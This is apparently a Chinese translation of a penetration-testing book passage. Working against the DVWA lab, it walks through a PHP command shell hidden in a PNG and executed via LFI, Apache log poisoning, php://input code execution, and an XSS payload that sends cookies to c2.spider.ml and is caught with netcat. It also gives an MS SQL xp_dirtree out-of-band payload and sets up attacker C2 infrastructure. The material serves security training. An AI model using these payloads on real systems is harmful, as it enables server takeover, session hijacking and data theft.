如果我们使用 hexdump 检查 PNG shell 的内容,我们可以清楚地看到 PHP shell 被写入在 PNG 图片文件结构结束之后。
root@sol:~# hexdump -C shell.png
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
00000010 00 00 00 20 00 00 00 20 01 03 00 00 00 49 b4 e8 |... ... .....I..|
00000020 b7 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 |.....gAMA......a|
00000030 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 |.... cHRM..z&...|
00000040 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea |...........u0...|
00000050 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 |'..:....p..Q<...|
00000060 06 50 4c 54 45 ff c0 cb ff ff ff 09 44 b5 cd 00 |.PLTE.......D...|
00000070 00 00 01 62 4b 47 44 01 ff 02 2d de 00 00 00 0c |...bKGD...-.....|
00000080 49 44 41 54 08 d7 63 60 18 dc 00 00 00 a0 00 01 |IDAT..c'........|
00000090 61 25 7d 47 00 00 00 00 49 45 4e 44 ae 42 60 82 |a%}G....IEND.B'.|
000000a0 3c 3f 70 68 70 20 69 66 20 28 6d 64 35 28 24 5f **|<?php if (md5($_|**
**000000b0 47 45 54 5b 22 70 61 73 73 77 6f 72 64 22 5d 29 |GET["password"])|**
**000000c0 20 3d 3d 20 22 66 31 61 61 62 35 63 64 39 36 39 | == "f1aab5cd969|**
**000000d0 30 61 64 66 61 32 64 64 65 39 37 39 36 62 34 63 |0adfa2dde9796b4c|**
**000000e0 35 64 30 30 64 22 29 20 7b 20 73 79 73 74 65 6d |5d00d") { system|**
**000000f0 28 24 5f 47 45 54 5b 22 63 6d 64 22 5d 29 3b 20 |($_GET["cmd"]); |**
**00000100 7d 20 3f 3e 0a |} ?>.|**
就所有意图和目的而言,这仍然是一个有效的 PNG 图片。大多数渲染软件应该不会有问题显示其内容,一个小的粉红色框,如下所示:

图 5.3:带后门的图片文件成功显示
虽然 DVWA 实际上不会检查文件是否具有有效的 PNG 头,但一些应用程序可能会检查。即使 Web 应用程序的检查方式比单纯地检查文件名是否以 .png 结尾更智能,我们的 shell 也应该能悄无声息地通过。
现在可以通过 DVWA 的 http://dvwa.app.internal/vulnerabilities/upload/ 组件上传被植入后门的 PNG 文件。

图 5.4:带后门的 PNG 文件成功上传到目标应用程序
DVWA 很贴心地告诉我们应用程序存储了我们的文件。在实际情况中,我们可能不会这么幸运。如果漏洞需要绝对路径,我们就得依赖信息泄漏来获取路径。如果我们可以在文件包含攻击中使用相对路径,我们可以通过有系统地遍历文件系统(../、../../、../../../ 等)来尝试找到磁盘上的文件。
为了利用我们的 PNG shell,我们将使用 DVWA 文件包含漏洞,地址为 http://dvwa.app.internal/vulnerabilities/fi/。LFI 问题出现在 GET 请求中的 page 参数。该应用程序允许包含几个磁盘上的文件,显然是为了更加模块化和易于管理。
文件包含漏洞非常简单,本质上允许用户指定一个磁盘上的文件来包含。虽然有一些安全控制防止我们包含任意文件,但由于这是 DVWA 项目,我们可以检查应用程序的源代码,查看哪些条件会阻止我们访问 shell。
该图展示了 LFI 安全控制的源代码。在包含文件之前,会执行此特定检查:

图 5.5:文件包含漏洞源代码
if 语句仅允许以 file 开头的文件被包含,例如 file01.php 或 file02.php。include.php 文件也可以被包含。其他任何文件,例如 http://c2.spider.ml/test.txt,都将产生 ERROR: File not found! 错误信息。
乍一看,这是一个相当严格的控制,但也存在一些问题。这种控制实现展示了应用开发和安全性中的一个重要问题。为了防止包含攻击,开发者采用了白名单方法,但由于时间限制和高维护成本,他们决定使用字符串匹配,而不是显式列出文件。理想情况下,用户输入永远不应传递给 include(或类似的)函数。硬编码的值更安全,但代码管理起来更困难。在安全性和可用性之间总是有取舍,作为攻击者,我们通常依赖于管理者选择更具成本效益但通常更不安全的选项。
我们可以将我们的 PNG shell 命名为 file.png,但由于我们上传的文件将位于易受攻击脚本的目录之外,我们需要传递的字符串必须是绝对(或相对)路径,这将无法触发前面截图中显示的 if 条件,从而导致攻击失败。再次强调,PHP 的多功能性和开发者友好性提供了帮助。PHP 允许开发者通过相对路径(../../../etc/passwd)、绝对路径(/etc/passwd)或使用内建的 URL 方案 file:// 来引用磁盘上的文件。
为了绕过上传限制,我们可以直接使用绝对路径,并结合 file:// 方案引用 shell.png 文件,指向 hackable/uploads 目录,这是文件上传页面慷慨告知我们的。
在 Linux 系统上,我们可以凭经验猜测网站根目录在磁盘上的位置。一个主要候选目录是 /var/www/html/。我们可以通过使用以下负载来确认 file:// 方案下的 shell 是否可访问,当调用易受攻击的 URL 时,将 page 参数设置为该负载:
http://dvwa.app.internal/vulnerabilities/fi/?page=**file:///var/www/html/hackable/uploads/shell.png**
Burp Repeater 模块可以帮助我们触发并检查利用此漏洞的结果,如下图所示:

图 5.6:成功通过 LFI 包含后门 PNG 文件
看起来不错。左栏是向易受攻击页面发送的原始 HTTP GET 请求,使用 file:// 方案和指向我们 shell.png 文件的绝对路径作为 page 参数。在右栏中,服务器响应似乎表明文件已经被包含,并且我们附加的 PHP 源代码没有显示,意味着它要么已执行,要么被压缩或裁剪功能去除。后一种情况虽然不幸,但我们可以通过尝试通过 URL 触发 shell 来迅速判断代码执行是否成功。
上传的 shell 将执行通过 GET 参数 cmd 传递的命令字符串,我们可以将 whoami 操作系统命令附加到之前的载荷中,并观察 Burp Repeater 模块的输出。我们还必须通过 password 参数提供预期的密码,如下图所示:

图 5.7:经过后门处理的 PNG 文件在 LFI 后成功执行了 shell 命令
成功了!通过利用两个漏洞:文件上传控制不严格和 LFI,我们现在可以在系统上执行代码。Repeater Request 列显示了 whoami 命令,它被传递到易受攻击的应用程序中,服务器的响应确认我们已经成功地以 www-data 用户身份显示应用程序的上下文。
对于 LFI 漏洞,并不总是需要一个文件上传功能。还有其他方式可以欺骗应用程序执行代码。在无法进行 RFI 的情况下,若没有文件上传功能或上传的文件无法通过 include 函数访问,我们需要更加具有创意才能执行代码。
与寻找上传的 shell 的 file:// 载荷类似,我们可以引用系统上的另一个文件,其内容我们在一定程度上可控。默认情况下,Apache Web 服务器会在磁盘上生成一个 access.log 文件。该文件包含发送到应用程序的每个请求,包括 URL。根据一些 Google-fu 的经验,我们知道这个文件通常位于 /var/log/apache2 或 /var/log/httpd 目录下。
由于我们无法通过文件上传功能上传 shell,我们可以改为通过 URL 发送 shell 源代码。Apache 会将请求尝试记录到访问日志文件中,我们可以通过 LFI 漏洞包含该文件。虽然会打印大量垃圾内容,但更重要的是,当 PHP 遇到我们的 <?php 标签时,它会开始执行代码。
我们可以通过简单的 HTTP GET 请求将 shell 传递给应用程序:

图 5.8:通过 GET 请求将我们的 PHP shell 代码发送到应用程序服务器日志
服务器的响应无关紧要,因为 access.log 文件已经被毒化。在应用程序服务器上,我们可以通过使用 grep 查找该文件,确认 shell 已被写入日志文件,如下所示:
root@dvwa:/# grep system /var/log/apache2/access.log
172.17.0.1 - - "GET **/<?php if (md5($_GET['password']) == 'f1aab5cd9690adfa2dde9796b4c5d00d') { system($_GET['cmd']); } ?>**
HTTP/1.1" 404 463 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
剩下的就是利用 LFI 让 PHP 执行日志文件中的任何代码。如前所述,我们必须通过 GET 请求提供正确的密码。我们的 URL 载荷将包含 file:// 协议和 Apache access.log 文件的绝对路径 /var/log/apache2/access.log,我们的 shell 密码,以及查看 /etc/passwd 文件内容的命令。由于该命令是通过 GET 请求参数发送的,我们必须将 cat 和 /etc/passwd 之间的空格转换为加号,如下所示:

图 5.9:通过 LFI 和被毒化的 Apache 日志文件实现远程代码执行
服务器响应确认 cat 命令已成功执行。在响应的噪音中,我们可以找到 /etc/passwd 的内容。使用这种方法明显存在一些隐蔽问题。如果防御方仔细检查日志文件,这将像一个明显的错误一样突出。
这种方法可能比较粗糙,但它确实展示了一个简单的文件包含漏洞可能造成的损害程度。
文件包含到远程代码执行
类似于之前示例中使用的 file:// 协议,PHP 解释器也通过 php:// 协议提供访问各种输入和输出流的功能。这在 PHP 用于命令行界面(CLI)时尤其有意义,开发者需要访问这些常见的操作系统标准流:stdin、stderr、stdout,甚至内存。标准流是应用程序用来与它们执行环境进行通信的。例如,Linux 中的 passwd 命令会使用 stdout 流向终端显示信息性消息(“请输入您的现有密码”),stderr 用于显示错误信息(“密码无效”),而 stdin 则提示用户输入以更改现有密码。
从 Web 客户端获取输入的传统方式是通过 $_GET 和 $_POST 超全局变量读取数据。$_GET 超全局变量提供通过 URL 传递的数据,而 $_POST 超全局变量则包含已解析的 POST 正文数据。
注意
超全局变量是由 PHP 解释器始终设置的变量,并且在整个应用程序中都可访问。$_GET 和 $_POST 是最常用的,但还有其他变量,包括 $_SESSION、$_ENV 和 $_SERVER。更多信息可以在 PHP 手册中找到:php.net/manual/en/language.variables.superglobals.php。
在文件包含漏洞中,php:// 协议可以与输入流(即 stdin)结合使用来攻击应用程序。与常见的 http:// 或 https:// 协议不同,php://input URL 可以被包含到应用程序中,迫使 PHP 将请求体当作代码读取并执行。解释器从请求体中获取输入数据。
如果我们将 php://input 的值作为包含的页面,并且在请求体中输入任意 PHP 代码,服务器端解释器将读取并执行它,如下图所示:

图 5.10:使用 LFI 执行 PHP 代码
前面的截图中,左侧页面中的 GET 请求使用 php://input 作为 page 参数,指示 PHP 包含来自用户输入的代码。在 Web 应用程序环境中,输入数据来自请求体。在这个案例中,请求体包含一个简单的 PHP 脚本,它在系统上执行命令 cat /etc/passwd。响应反映了 /etc/passwd 的输出,确认远程代码执行成功。
没有建立外部连接,并且基于网络的出口白名单控制已被绕过。PHP 是一种功能丰富的编程语言,有许多方法可以完成相同的事情。这通常对攻击者有利,因为它提供了更多的绕过控制、混淆和数据外泄的机会。这一说法不仅适用于 PHP,还适用于其他语言。
更多文件上传问题
在本章早些时候,我们查看了文件上传如何帮助我们攻破一个应用程序以及它所在的服务器。我们能够上传一个有效的 PNG 文件,其中嵌入了 PHP Shell。LFI 漏洞使我们能够执行该代码。
允许用户上传任意文件到应用程序还有其他问题。你完全可以通过简单地将扩展名加入黑名单来防止用户上传 PHP、JSP 或 ASP Shell。PHP 只会在文件具有特定扩展名(或两个扩展名)的情况下执行代码,前提是这些文件被直接调用。如果应用程序中没有其他地方存在 LFI 漏洞,那么文件上传功能从代码执行角度来看应该是相对安全的。
如果应用程序的某个功能是允许用户存储文件,那么白名单可能很难实施,并且过程繁琐。在这种情况下,黑名单扩展名可能是最具成本效益的解决方案。当我们无法上传 Shell 或执行服务器端代码时,我们仍然可以攻击用户。
我们以前使用过的 SecLists 仓库包含一个名为 xssproject.swf 的 Flash 文件,它将允许我们对用户执行 XSS 攻击。Flash 代码能够像任何其他使用 Flash 插件的站点一样执行 JavaScript 代码,使用 ExternalInterface API。
用于生成 xssproject.swf 的 ActionScript (AS) 代码相当简单。ActionScript 是 Adobe Flash 的编程语言,用于自动化 Flash 应用程序。它的语法与 Java 非常相似,就像 Java 一样,它会被编译成字节码并由宿主应用程序(即 Flash 插件)执行:
package
{
import flash.display.Sprite;
import flash.external.*;
import flash.system.System;
public class XSSProject extends Sprite
{
public function XSSProject()
{
flash.system.Security.allowDomain("*");
ExternalInterface.marshallExceptions = true;
try {
**ExternalInterface.call**("0);}catch(e){};"+**root.loaderInfo.parameters.js**+"//");
} catch(e:Error) {
trace(e);
}
}
}
}
我们不必是 Flash 开发者就能理解这里发生了什么。这个 AS 代码简单地将主代码包装在 try-catch 块中,以便更清晰地执行,使用 root.loaderInfo.parameters 对象从 GET 请求中获取 js 参数,并将内容传递给 Flash 插件(通过 ExternalInterface)以便在浏览器内执行。
让我们继续使用应用程序的文件上传功能上传 XSSProject SWF 恶意文件。您可能需要将 DVWA 难度设置为low,以允许非图像文件上传。以下图显示了 XSSProject 恶意软件在熟悉目录中成功上传的情况:

图 5.11:XSSProject 恶意软件成功上传
要使 Flash 文件在浏览器中执行 JavaScript 代码,我们可以直接调用它,并通过 js 参数传入任意代码,就像这样:
http://dvwa.app.internal/hackable/uploads/xssproject.swf?**js=[javascript code]**
作为概念验证(POC),我们可以显示 PHP 会话 cookie,但在实际攻击中,我们希望悄悄地外泄这些数据,并显示一个良性的错误消息或将受害者发送回主页。对于 POC,我们可以调用 alert() JavaScript 函数,并显示在特定页面上设置的 cookies 的值。在这种情况下,DVWA 的登录 cookie,PHPSESSID,应该在弹出窗口中显示。
要测试 POC,我们可以调用以下 URL 并观察浏览器行为:
http://dvwa.app.internal/hackable/uploads/xssproject.swf?js=alert(document.cookie);
我们可以使用此 URL 对易受攻击应用程序的用户执行 XSS 攻击。我们可以注入更有用的 JavaScript 代码,例如浏览器利用框架(BeEF)钩子,而不是弹出窗口来证明漏洞的存在。我们将在第九章 实用客户端攻击中讨论此工具。
以下图显示了 JavaScript 代码被恶意软件(xssproject.swf)成功注入:

图 5.12:滥用文件上传功能后的 XSS 攻击
对于利用漏洞的更实际应用,我们可以尝试悄悄地外泄 cookie 数据,并可能使用 PHPSESSID 值在我们自己的浏览器会话中冒充用户。我们可以获取 cookie 数据,使用 JavaScript 的 btoa() 函数对其进行 Base64 编码,并将所有数据发送到我们的 C2 服务器。一旦收集到 cookie 数据,我们可以强制重定向到主应用程序页面,以避免引起怀疑。数据外泄部分对受害者是透明的。
此有效载荷将使用 document 对象将新的 HTML 代码写入文档对象模型(DOM)。HTML 代码是一个隐藏的 iframe 元素,它会向我们的命令和控制基础设施发出 HTTP 请求。HTTP 请求将在请求 URL 中包含受害者的 cookies,以 Base64 编码的形式,使我们能够远程捕获这些数据。最后一个函数将在 500 毫秒后重定向客户端到主页 '/',以确保 iframe 有机会加载和外泄我们的数据。
我们的攻击代码将如下所示:
document.write("Loading**...<iframe style='display:none;' src='//c2.spider.ml/"+btoa(document.cookie)+"'></iframe>**");
setTimeout(function(){window.location.href='/';},500);
前面的 JavaScript 代码将被压缩为一行,用分号分隔,因为我们必须使用 URL 来注入此代码,所以我们还必须对字符进行 URL 编码,以确保在传输过程中没有问题。Burp 的解码器模块可以用于编码和混淆负载:

图 5.13:使用 Burp 的解码器模块对 JavaScript 负载进行 URL 编码
所有字符都将转换为它们的十六进制等价物,并在前面加上百分号(%),混淆攻击代码并确保它在受害者端成功执行。包含编码负载的 URL 看起来像这样:
http://dvwa.app.internal/hackable/uploads/xssproject.swf?js=**%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%22%4c%6f%61%64%69%6e%67%2e%2e%2e%3c%69%66%72%61%6d%65%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%20%73%72%63%3d%27%2f%2f%63%32%2e%73%70%69%64%65%72%2e%6d%6c%2f%22%2b%62%74%6f%61%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%2b%22%27%3e%3c%2f%69%66%72%61%6d%65%3e%22%29%3b%73%65%74%54%69%6d%65%6f%75%74%28%66%75%6e%63%74%69%6f%6e%28%29%7b%77%69%6e%64%6f%77%2e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%3d%27%2f%27%3b%7d%2c%35%30%30%29%3b**
一旦受害者跟随前面的恶意链接,我们应该能够看到请求进入c2.spider.ml并从GET请求中获取编码的 cookie 值。为了实现这一点,我们可以使用 netcat(nc)应用程序在端口80上设置监听器。Netcat 是攻击者的瑞士军刀,可以做的远不止成为一个简单的服务器,但对于我们的目的,这应该足够了。
我们可以使用以下开关调用nc二进制文件:-l用于启动监听器,-v用于显示详细信息,-p用于指定端口80作为监听端口:
**root@spider-c2-1:~# nc -lvp 80**
**listening on [any] 80 ...**
**connect to [10.0.0.4] from 11.25.198.51 59197**
当服务器准备好接收来自受害者的连接时,我们可以开始我们的攻击,并等待用户点击我们恶意的 URL:
GET /**UEhQU0VTU0lEPXBhdGxrbms4bm5ndGgzcmFpNjJrYXYyc283OyBzZWN1cml0eT1oaWdo**
HTTP/1.1
Host: c2.spider.ml
Connection: keep-alive
Upgrade-Insecure-Requests: 1
[...]
GET URL 是一个包含被窃取的 cookie 数据的 Base64 编码值。我们可以通过使用base64 Linux 命令和-d开关解码内容来确认这一点:
**root@spider-c2-1:~# echo "UEhQU0VTU0lEPXBhdGxrbms4bm5ndGgzcmFpNjJrYXYyc283OyBzZWN1cml0eT1oaWdo" | base64 -d PHPSESSID=patlknk8nngth3rai62kav2so7; security=low**
成功!有了会话 ID,我们可以冒充受害者并接管账户。
我们也可以尝试上传 HTML 或 HTM 文件,这可能会实现相同的效果;然而,这些扩展名更有可能在应用程序中被列入黑名单。开发人员可能会忘记 Flash 提供了一个用于执行 JavaScript 和 SWF 文件的 API,因此 SWF 文件有时可能会悄悄地通过。
文件上传也可以被滥用来在评估期间存储恶意负载。应用服务器可以被转变为简单的 C2 服务器,以逃避窥探的蓝队眼睛。Linux/Unix 操作系统通常不会安装防病毒软件,恶意的 Windows 二进制文件或 Meterpreter 负载可以被存储在毫无戒心的服务器上。
摘要
在本章中,我们探讨了几种利用应用程序底层文件系统的方法。我们能够使用文件包含获得代码执行,甚至利用我们自己引入的 XSS 漏洞攻击客户端。
应用程序开发框架正在成熟,幸运的是,一些甚至认真对待安全性。如前所述,安全性和可用性之间总会存在一个权衡。一个文件共享站点可以完全安全,但如果只允许少量扩展名,那就不太可用。这是我们作为攻击者可以利用以获取利润的一个弱点。
在下一章中,我们将讨论应用漏洞的带外发现和利用。
第六章:带外利用
在上一章中,我们探讨了确认和利用文件包含漏洞。确认部分是直观的,因为服务器会立即显现出应用程序的漏洞。那么,当情况并不那么明显时会发生什么呢?如果服务器有漏洞,但在收到意外输入时没有任何明显的提示呢?在测试 SQL 注入漏洞时,攻击者通常会输入特制的值并观察应用程序的行为。有时,如果他们运气好,服务器会返回一个鲜红的 SQL 错误信息,这可以表明存在注入点。
随着应用程序和框架变得越来越复杂,生产环境中的应用程序经过加固,曾经用于确认漏洞的行为线索不再那么显而易见。现代应用程序默认抑制错误信息,并且可能不会总是同步处理输入。如果我们的有效载荷每隔八小时由后台批处理作业执行一次,我们就无法在 HTTP 响应中看到效果,可能会错过一个潜在的关键漏洞。
带外漏洞发现是指我们通过迫使应用程序与我们控制的外部服务交互的过程。如果一个应用程序存在 SQL 注入漏洞,但在初次扫描时没有明显的线索,我们可以输入一个有效载荷,诱使应用程序与我们的 C2 服务器通信,足以证明我们的有效载荷已经被执行。
在本章中,我们将讨论以下内容:
-
创建 C2 服务器
-
使用INetSim模拟服务
-
使用带外技术确认漏洞
-
高级数据泄露
一个常见场景
假设应用程序http://vuln.app.internal/user.aspx?name=Dade在name参数上存在 SQL 注入漏洞。传统的有效载荷和多用途载荷似乎不会影响应用程序的响应。也许数据库错误信息被禁用,而且应用程序对name值的处理是异步的。
在后台的某个地方,Microsoft SQL(MS SQL)服务器执行了以下查询:
SELECT * FROM users WHERE user = '**Dade**';
对name值使用简单的单引号会导致 SQL 错误,这时我们就可以进行攻击,但在这种情况下,错误信息被抑制,因此从客户端的角度来看,我们根本不知道出了什么问题。进一步说,我们可以强制应用程序延迟响应一段显著的时间来确认漏洞:
SELECT * FROM users WHERE user = 'Dade';**WAITFOR DELAY '0:0:20' --**';
这个有效载荷将一个 20 秒的延迟注入到查询返回中,这个延迟足够明显,能够引起警觉,但查询是异步执行的。也就是说,应用程序在查询完成之前就响应我们,因为它可能不依赖于查询结果。
这就是在寻找难以发现的漏洞时,强制执行带外服务交互的优势所在。与WAITFOR DELAY有效载荷不同,以下内容将强制 MS SQL 服务器通过服务器消息块(SMB)协议连接到我们控制的任意主机:
';declare @q varchar(99);set **@q**=**'\\attacker.c2\test'**; exec master.dbo.xp_dirtree **@q**;--
尽管不常见,但这个有效载荷相当容易理解,即使是对于那些每天不处理 SQL 的我们来说。代码将:
-
为字符串变量
@q分配空间(类型varchar,长度99字节) -
将
@q变量值设置为指向我们服务器的通用命名约定(UNC)路径:\\attacker.c2\test -
执行存储在
@q中的 UNC 路径的目录列表
服务器可能能够或无法与我们的服务器协商 SMB 连接并获取文件列表。是否成功建立 SMB 协议通信并不重要。如果我们控制attacker.c2域,我们几乎可以立即证明 SQL 注入攻击的存在。这对许多通过传统扫描方法难以发现的漏洞类型同样适用。例如,XML 外部实体(XXE)攻击也可以通过完全相同的方法带外确认。一些 XSS 漏洞从攻击者的角度看并不总是明显。注入的 JavaScript 代码可能仅在一个控制面板中显示,而该控制面板通常不会呈现给攻击者,但一旦管理员登录,漏洞就会触发。这可能是几小时,甚至几天后,载荷被注入之后。带外发现和利用可以在载荷执行时立即警告攻击者。
在我们深入讨论之前,我们需要一个合适的 C2 基础设施来帮助验证这些漏洞。C2 不仅需要接受来自目标应用程序的连接,还需要处理 DNS 查询。如果应用程序的后端在出口规则集中被防火墙隔离,它将无法协商 SMB 握手。另一方面,UDP 端口53上的 DNS 查询几乎总是允许外发。即使应用程序无法直接连接到我们的服务器,根据设计,目标网络中的 DNS 服务器会代理解析请求,直到它到达我们的服务器。
命令与控制
目前有许多云服务提供商,且由于竞争激烈,它们的价格相当便宜。我们不需要一台高性能的机器:我们可以使用任何这些提供商的微型实例:
-
谷歌云
-
亚马逊 AWS
-
微软 Azure
-
DigitalOcean
谷歌云和亚马逊 AWS 有一些套餐,可以免费提供你所需要的所有虚拟机资源;当然,这些资源是有限时的。然而,对于依赖 C2 基础设施的我们来说,每月几美元的费用完全值得。
注意
这些 C2 实例也应该是每个客户端独立部署,并且磁盘应该加密。由于我们工作的性质,敏感的客户数据可能会流入,并且可能会以不安全的方式存储。一旦任务完成,销毁该实例及其可能收集的任何客户数据。
一旦虚拟机启动并运行,通常会分配一个临时的外部 IP 地址。在某些情况下,您可以请求一个静态 IP,但通常不需要。临时外部 IP 在虚拟机开机时将保持不变。

图 6.1:c2.spider.ml 虚拟机实例在 Google Cloud 中已启动并运行
请注意外部 IP,因为该虚拟机必须成为 C2 域的权威名称服务器(NS)。我们可以使用任何我们控制的域或子域。
在以下示例中,权威区域 spider.ml 将 C2 子域委托给我们的虚拟机 IP。NS 记录是必需的(ns1.spider.ml),因为不能直接将委托指向 IP 地址。

图 6.2:区域配置及将 c2.spider.ml 委托给我们的 C2 实例 IP
有了这两个记录,针对 c2.spider.ml 的查询将有效地发送到我们刚创建的 C2 服务器。任何针对 c2.spider.ml 子域的查询也会发送到该 IP 地址进行解析。
这很重要,因为我们必须能够查看所有对 c2.spider.ml 的连接请求。实现这一点有几种方式;传统的方式是配置一个BIND服务,拥有对新委托区域 c2.spider.ml 的授权。对于较不复杂的 C2 基础设施,存在一个更简单的配置替代方案,并且具备更多功能。
Let’s Encrypt 通信
为了提供一定的传输安全性,我们可能希望启动一个 HTTPS 服务器,或者使用 SMTPS。我们可以使用自签名证书,但这并不理想。当 TLS 警告出现在客户端浏览器中时,用户会产生怀疑,或者网络代理可能会直接断开连接。我们希望使用由受信任的根证书颁发机构签署的证书。虽然有无数付费服务提供各种 TLS 证书,但最简单且成本效益最高的是 Let’s Encrypt。
Let’s Encrypt 是一个受大多数客户端信任的根证书颁发机构,允许服务器管理员为其主机请求免费的域名验证证书。它们的使命是推动我们走向一个加密的互联网,免费证书是向前迈出的重要一步。
注意
Let’s Encrypt 提供免费的域名验证证书,用于主机名,甚至是通配符证书。更多信息请访问 letsencrypt.org/。
为了演示,我们的 C2 将托管在 spider.ml 域下,并且我们将请求一个通配符证书。
第一步是下载 certbot-auto 包装脚本,该脚本安装依赖项并自动化大部分 Let’s Encrypt 的证书请求过程。在 Debian 系统(如 Kali)中,可以从以下位置获得此脚本:
**root@spider-c2-1:~# wget https://dl.eff.org/certbot-auto**
**[...]**
**root@spider-c2-1:~# chmod +x certbot-auto**
Certbot 确实提供了自动更新 web 服务器配置的选项,但为了我们的目的,我们将手动请求。这会将新证书存放在磁盘的某个位置,供我们自由使用。
--manual 选项将允许我们通过自定义选项逐步完成请求。我们将使用 -d 选项指定证书有效的域名。对于通配符证书,我们必须同时指定父域名 spider.ml 和通配符 *.spider.ml。
root@spider-c2-1:~# ./certbot-auto certonly --manual -d ***.spider.ml** -d **spider.ml** --preferred-challenges dns-01 --server https://acme-v02.api.letsencrypt.org/directory
对于通配符域名,我们将使用 DNS 挑战,这意味着我们必须添加一个自定义的 TXT 记录,以便 Let’s Encrypt 能够验证我们确实拥有这个父域名。
root@spider-c2-1:~# ./certbot-auto certonly --manual -d ***.spider.ml** -d **spider.ml** --preferred-challenges dns-01 --server https://acme-v02.api.letsencrypt.org/directory
Saving debug log to /var/log/letsencrypt/letsencrypt.log
Plugins selected: Authenticator manual, Installer None
Obtaining a new certificate
Performing the following challenges:
**dns-01 challenge for spider.ml**
**dns-01 challenge for spider.ml**
[...]
certbot 向导最终会提示我们创建一个 TXT 记录 _acme-challenge.spider.ml,并使用随机生成的随机数。
Please deploy a DNS TXT record under the name
_acme-challenge.spider.ml with the following value:
**dGhlIG9ubHkgd2lubmluZyBtb3ZlIGlzIG5vdCB0byBwbGF5**
Before continuing, verify the record is deployed.
---------------------------------------------------------------------
Press Enter to Continue
在按下 Enter 之前,我们需要在 spider.ml 的 DNS 管理器中添加记录:

图 6.3:添加 TXT DNS 记录
向导可能会再次提示你更新 TXT 值为新值,这时你可能需要等待几分钟才能继续。设置一个较低的 TTL 值,如 5 分钟或更少,将有助于减少等待时间。
如果一切顺利,且 Let’s Encrypt 能够验证 TXT 记录,新的证书将被签发并存储在 /etc/letsencrypt/live/ 目录中的某个位置:
Waiting for verification...
Cleaning up challenges
IMPORTANT NOTES:
- Congratulations! Your certificate and chain have been saved at:
**/etc/letsencrypt/live/spider.ml/fullchain.pem**
Your key file has been saved at:
**/etc/letsencrypt/live/spider.ml/privkey.pem**
[...]
root@spider-c2-1:~#
这些证书的有效期通常为几个月,符合 Let’s Encrypt 政策。你需要使用与初始请求相似的过程来更新这些证书。Certbot 会记录请求的证书及其到期日期。发出续订命令时,它会遍历我们的证书并自动续订它们。
这些 PEM 文件现在可以用于 Apache、NGINX、INetSim 或任何我们用于命令与控制的 Web 服务器。
我们可以通过调整配置文件,将 INetSIM 实例指向新生成的证书。需要查找的选项是 https_ssl_keyfile,它指向私钥,以及 https_ssl_certfile,它是证书本身。
root@spider-c2-1:~# grep https_ssl /etc/inetsim/inetsim.conf
# https_ssl_keyfile
# Syntax: https_ssl_keyfile <filename>
**https_ssl_keyfile privkey.pem**
# https_ssl_certfile
# Syntax: https_ssl_certfile <filename>
**https_ssl_certfile fullchain.pem**
[...]
INetSIM 会在 certs 目录中查找这些文件,通常该目录位于 /usr/share/inetsim/data/ 下。
下一步是将 privkey.pem 和 fullchain.pem 文件从 Let’s Encrypt 的 live 目录复制到 INetSIM 的 certs 目录。每次更新证书时,我们都需要记得执行此操作。通过 crontab 实现自动化也是一种选择。
root@spider-c2-1:~# cp **/etc/letsencrypt/live/spider.ml/fullchain.pem /usr/share/inetsim/data/certs/**
root@spider-c2-1:~# cp **/etc/letsencrypt/live/spider.ml/privkey.pem /usr/share/inetsim/data/certs/**
我们可能还应该尽量确保私钥的安全。我们将文件的所有者设置为 inetsim,并使用 chmod 限制其他所有用户的权限:
root@spider-c2-1:~# chown **inetsim:inetsim** /usr/share/inetsim/data/certs/privkey.pem
root@spider-c2-1:~# chmod **400** /usr/share/inetsim/data/certs/privkey.pem
我们现在可以启用模拟的 HTTPS 服务并测试证书的有效性:

图 6.4:Let's Encrypt 提供的 C2 HTTPS 证书
INet 模拟
为了保持简单,我们将使用 INetSim 来模拟各种网络服务。它可以快速为多个已知端口设置监听器,并通过适当的协议提供默认响应。例如,可以启动一个 FTP 服务,接受任何凭证,并允许连接者与服务进行交互:上传、下载、列出文件等。
注意
INetSim 的二进制文件、源代码和文档可以在 www.inetsim.org/ 获取。
INetSim 常用于封闭网络中,模拟 C2 服务器以应对恶意软件,并捕获有价值的数据。我们可以利用相同的 INetSim 工具,快速设置一个简单的基础设施,处理来自目标的连接,并附带生成每个会话报告的功能。
在我们的云端 Debian 虚拟机实例中,我们可以使用以下 echo 命令,添加官方软件包仓库,快速安装:
**root@spider-c2-1:~# echo "deb http://www.inetsim.org/debian/binary/" > /etc/apt/sources.list.d/inetsim.list**
**root@spider-c2-1:~#**
为了避免 Debian 的 apt 在安装过程中出现警告,我们可以使用 wget 命令来获取签名密钥。然后我们将响应通过管道传递给 apt-key,以便将其添加到密钥链中:
**root@spider-c2-1:~# wget -O - https://www.inetsim.org/inetsim-archive-signing-key.asc | apt-key add -**
**[...]**
**(464 MB/s) - written to stdout [2722/2722]**
**OK**
**root@spider-c2-1:~#**
下一步是从新安装的 apt 仓库中获取 inetsim 软件包并进行安装。
**root@spider-c2-1:~# apt-get update && apt-get install inetsim**
**[...]**
**root@spider-c2-1:~#**
INetSim 的默认配置可能对于我们的目的来说有些过于复杂。诸如 FTP 这样的服务,允许任意凭证并提供上传支持,不应在互联网上启用。
注意
INetSim 是一个很棒的工具,但使用时需要小心。如果你构建的 C2 服务器是用于长期合作,最好为每个拦截的服务使用合适的守护进程。
我们可以通过编辑 /etc/inetsim/inetsim.conf 文件,禁用不需要的服务。我们可以在每个希望禁用的 start_service 行前加上井号(#),如所示:

图 6.5:编辑 INetSim 配置文件,以仅启用 DNS、HTTP 和 HTTPS 模拟
默认的 DNS 配置也必须修改,以匹配 c2.spider.ml 委派的区域。dns_default_ip 值应指向 C2 外部 IP,因为我们希望 HTTP 流量也能被重定向到那里。
dns_default_hostname 值将设置为区域子域 c2,而 dns_default_domainname 值将是 spider.ml 主域名。这基本上告诉 INetSim 对该区域的任何查询都以 dns_default_ip 值进行响应。
这将对我们的带外漏洞发现非常有用,并且还有其他用途,稍后我们会看到。

